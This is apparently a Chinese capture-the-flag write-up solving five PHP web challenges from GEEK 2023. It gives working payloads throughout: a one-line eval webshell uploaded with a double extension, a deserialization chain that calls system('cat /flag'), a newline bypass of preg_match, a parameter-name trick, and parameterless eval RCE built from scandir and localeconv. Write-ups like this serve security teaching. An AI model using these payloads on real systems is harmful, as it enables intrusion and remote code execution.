EzHttp 请post传参username和password进行登录 那么我们随便post 显示密码错误 查看源码发现密码被藏 在页面中查找没有结果 用dirsearch搜一下 搜到了robots.txt
1 2 3 User-agent : *Disallow : /o2takuXX's_username_and_password.txt
进入获得账户密码,返回第一个界面输入
1 2 username: adminpassword: @dm1N123456r00t#
为了方便,后面都用burp抓包操作
必须来源自sycsec.com payload:
请使用Syclover浏览器 payload:
请从localhost访问 payload:
1 x -forwarded-for: 127.0.0.1
请使用Syc.vip代理
1 2 3 4 5 6 7 <?php if ($_SERVER ['HTTP_O2TAKUXX' ]=="GiveMeFlag" ){ echo $flag ; }?>
payload
flag
n00b_Upload 文件上传题 上传4.txt txt被过滤了 上传4.php 后缀过了,看来php没被过滤,但还是被过滤了什么导致没有上传成功
上传4.png 正确的上传方式是这种 要检查后缀,头部,文件内容才能上传 接着回到上面的php png是后缀头部都过,而php只过了后缀,把他们结合一下试试 上传4.png并抓包
1 <?= @eval ($_POST ['a' ]);?>
因为对文件内容有检查,所以把php换为= 抓包后把名字改为4.png.php 通过 进入文件存储就就可以无障碍RCE了
1 2 3 4 a=system ("ls /" ); a=system ("cat /flag" );
easy_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php header ('Content-type:text/html;charset=utf-8' );error_reporting (0 );highlight_file (__FILE__ );include_once ('flag.php' );if (isset ($_GET ['syc' ])&&preg_match ('/^Welcome to GEEK 2023!$/i' , $_GET ['syc' ]) && $_GET ['syc' ] !== 'Welcome to GEEK 2023!' ) { if (intval ($_GET ['lover' ]) < 2023 && intval ($_GET ['lover' ] + 1 ) > 2024 ) { if (isset ($_POST ['qw' ]) && $_POST ['yxx' ]) { $array1 = (string )$_POST ['qw' ]; $array2 = (string )$_POST ['yxx' ]; if (sha1 ($array1 ) === sha1 ($array2 )) { if (isset ($_POST ['SYC_GEEK.2023' ])&&($_POST ['SYC_GEEK.2023' ]="Happy to see you!" )) { echo $flag ; } else { echo "再绕最后一步吧" ; } } else { echo "好哩,快拿到flag啦" ; } } else { echo "这里绕不过去,QW可不答应了哈" ; } } else { echo "嘿嘿嘿,你别急啊" ; } }else { echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!" ; }?>
首先是第一个if
1 if (isset($_GET['syc' ]) &&preg_match ('/^Welcome to GEEK 2023!$/i' , $_GET['syc' ] ) && $_GET['syc' ] !== 'Welcome to GEEK 2023!' )
^表示匹配开头$表示匹配到结尾 我先想到的是替换空格,在本地环境测试中一直也没通过 preg_match也有绕过的方式 在字符串后加入%0a返回的也为true 同时后面比较为强比较不能与%0a匹配 所以payload
1 ?syc =Welcome to GEEK 2023!%0a
第二个if
1 if (intval ($_GET['lover']) < 2023 && intval($_GET['lover'] + 1 ) > 2024 )
intval有一个小漏洞 intval(‘2e4’)为2而intval(‘2e4’+1)为20001 payload
第三、四个if
1 2 if (isset ($_POST['qw']) && $_POST['yxx']) if (sha1 ($array1) === sha1($array2))
本来以为要强碰撞绕过,但出题人好像有点疏忽了,让两个post相等即可 直接payload:
最后一个if
1 if (isset ($_POST['SYC_GEEK.2023 '])&& ($_POST['SYC_GEEK.2023 ']="Happy to see you!" ))
把第一个下划线改为[
即可(使后面的特殊字符不被转义) payload
1 SYC[GEEK.2023 =Happy to see you!
unsign 反序列化题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php highlight_file (__FILE__ );class syc { public $cuit ; public function __destruct ( ) { echo ("action!<br>" ); $function =$this ->cuit; return $function (); } }class lover { public $yxx ; public $QW ; public function __invoke ( ) { echo ("invoke!<br>" ); return $this ->yxx->QW; } }class web { public $eva1 ; public $interesting ; public function __get ($var ) { echo ("get!<br>" ); $eva1 =$this ->eva1; $eva1 ($this ->interesting); } }if (isset ($_POST ['url' ])) { unserialize ($_POST ['url' ]); }?>
__construct():实例化对象时,首先会去自动执行的一个方法
__invoke():格式表达错误导致没魔术方法触发(把对象当成函数调用)
__get():调用的成员属性是私有属性或不存在时触发(返回值:不存在的成员属性的名称)
构造出这几行代码
1 2 3 4 5 6 7 8 9 10 $a =new web();$a ->eva1 ='system' ;$a ->interesting ="cat /flag" ;$b =new lover();$b ->yxx =$a ;$b ->QW ='asd' ;//赋一未知值来调用__get$c =new syc();$c ->cuit =$b ;//触发__invoke echo serialize($c );
payload:
1 url =O:3 :"syc" :1 :{s:4 :"cuit" ;O:5 :"lover" :2 :{s:3 :"yxx" ;O:3 :"web" :2 :{s:4 :"eva1" ;s:6 :"system" ;s:11 :"interesting" ;s:9 :"cat /flag" ;}s:2 :"QW" ;s:3 :"asd" ;}}
Pupyy_rce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php highlight_file (__FILE__ );header ('Content-Type: text/html; charset=utf-8' );error_reporting (0 );include (flag.php);if (isset ($_GET ['var' ]) && $_GET ['var' ]) { $var = $_GET ['var' ]; if (!preg_match ("/env|var|session|header/i" , $var ,$match )) { if (';' === preg_replace ('/[^\s\(\)]+?\((?R)?\)/' , '' , $var )){ eval ($_GET ['var' ]); } else die ("WAF!!" ); } else { die ("PLZ DONT HCAK ME😅" ); } }
1 if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/' , '' , $var ))
\s:匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。 +?:对于字符串 “oooo”,’o+?’ 将匹配单个 “o”,而 ‘o+’ 将匹配所有 ‘o’ (?R)?:(?R)代表当前表达式,就是/[^\s\(\)]+?\((?R)?\)/
,所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d()))) 而(?R)?能匹配的只有a(b()); a(b(c()));这种类型的,比如传入a(b(c()));,第一次匹配后,就剩a(b()),第二次匹配后,a();,第三次匹配后就剩下;了,最后a(b(c()))就会被eval执行。
思路明确了,这题应该使用无参RCE 下面是无参RCE的常用函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 getchwd () :函数返回当前工作目录。scandir () :函数返回指定目录中的文件和目录的数组。dirname () :函数返回路径中的目录部分。chdir () :函数改变当前的目录。readfile () :输出一个文件。current () :返回数组中的当前单元, 默认取第一个值。pos () :current () 的别名。next () :函数将内部指针指向数组中的下一个元素,并输出。end () :将内部指针指向数组中的最后一个元素,并输出。array_rand () :函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。array_flip () :array_flip () 函数用于反转/交换数组中所有的键名以及它们关联的键值。array_slice () :函数在数组中根据条件取出一段值,并返回。array_reverse () :函数返回翻转顺序的数组。chr () 函数从指定的:ASCII 值返回字符。hex2bin () :— 转换十六进制字符串为二进制字符串。getenv () :获取一个环境变量的值(在7.1 之后可以不给予参数)。localeconv () :函数返回一包含本地数字及货币格式信息的数组。
payload:
1 2 ?var=print_r(scandir(pos(localeconv()))); //Array ( [0 ] => . [1 ] => .. [2 ] => error.log [3 ] => fl@g.php [4 ] => genshin01.txt [5 ] => index.php [6 ] => tiangou01.txt [7 ] => tiangou02.txt )
可以看出flag在一个特殊的位置上,无法通过next或end直接读取,那么我们使用随机函数 可以用array_rand()
和array_flip()
(array_rand()
返回的是键名所以必须搭配array_flip()
来交换键名、键值来获得键值,随机刷新显示的内容)
payload:
1 ?var=show_source(array_rand (array_flip (scandir (pos (localeconv () )))));
多刷新几遍就出来了